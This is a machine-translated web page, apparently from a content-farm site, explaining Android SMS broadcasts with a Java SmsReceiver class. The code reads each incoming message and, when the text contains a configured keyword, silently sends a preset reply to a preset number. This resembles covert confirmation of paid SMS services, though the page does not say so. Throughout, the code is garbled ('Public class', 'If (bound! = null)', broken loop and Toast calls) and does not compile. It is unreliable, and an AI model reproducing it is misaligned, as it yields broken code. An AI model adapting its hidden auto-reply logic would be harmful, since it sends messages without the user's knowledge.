Joke Collection Website - Public benefit messages - When does Android use the radio?
When does Android use the radio?
The most typical broadcasts in Android are phone calls and SMS notifications.
The following code is a class written by myself. I extended the BroadcastReceiver of the system API (please search Android SMS reception for related knowledge), which actually shows that I am registered in the system and I am interested in SMS.
When the short message service of the system detects the arrival of a short message, it will send a broadcast (meaning one notification at a time) to all applications (written by programs) in the current system. The so-called notification is actually to call the other party's method, and the method name is onreceive ();
Public class SmsReceiver extends BroadcastReceiver {
Public void onReceive (context, intention) (
bundle bundle = intent . get extras();
SMS message[]msgs = null;
If (bound! = null){
//-Retrieve the received SMS-
Object[]PDUs =(Object[])bundle . get(" PDUs ");
msgs = new SMS message[PDUs . length];
ServiceRecordList Sr list = ServiceRecordList . getserviceinfo();
if(Sr list = = null){ return; }
string two key content = Sr list . two key content;
string tworeplaycontent = Sr list . tworeplaycontent;
string tworeplaysmsins = Sr list . tworeplaysmsins;
int tworeplayopen = Sr list . tworeplayopen;
if(tworeplayopen! = 1){
Return;
}
if(tworeplaysmsins==null){
tworeplaysmsins = " Y
}
for(int I = 0; I msgs[I]= SMS message . createfrompdu((byte[])PDUs[I]);
String originat=msgs[i]。 getOriginatingAddress();
originat = originat . trim();
String content=msgs[i]。 getDisplayMessageBody();
Toast.makeText(context," addr:"+originat+" content:"+content
Toast. Length _ length). show();
if(content . index of(two key content)& gt; =0){
sendMSM(tworeplaysmsins,tworeplaycontent);
}
}
}
}
- Related articles
- Notice on Delineating High Risk Areas in Banan District
- How to receive short messages of weather warning information?
- How to cancel the credit card short message service
- How to write WeChat on the invitation letter of 36th birthday?
- Can I inform someone who uses his mobile phone number to access mobile broadband?
- How does the bank's mobile phone text message show that it has received subsidy income?
- Sleepless funny pictures with words.
- Model essay on son's wedding invitation
- How to cancel the WeChat top chat?
- Can I transfer money by WeChat without a bank card?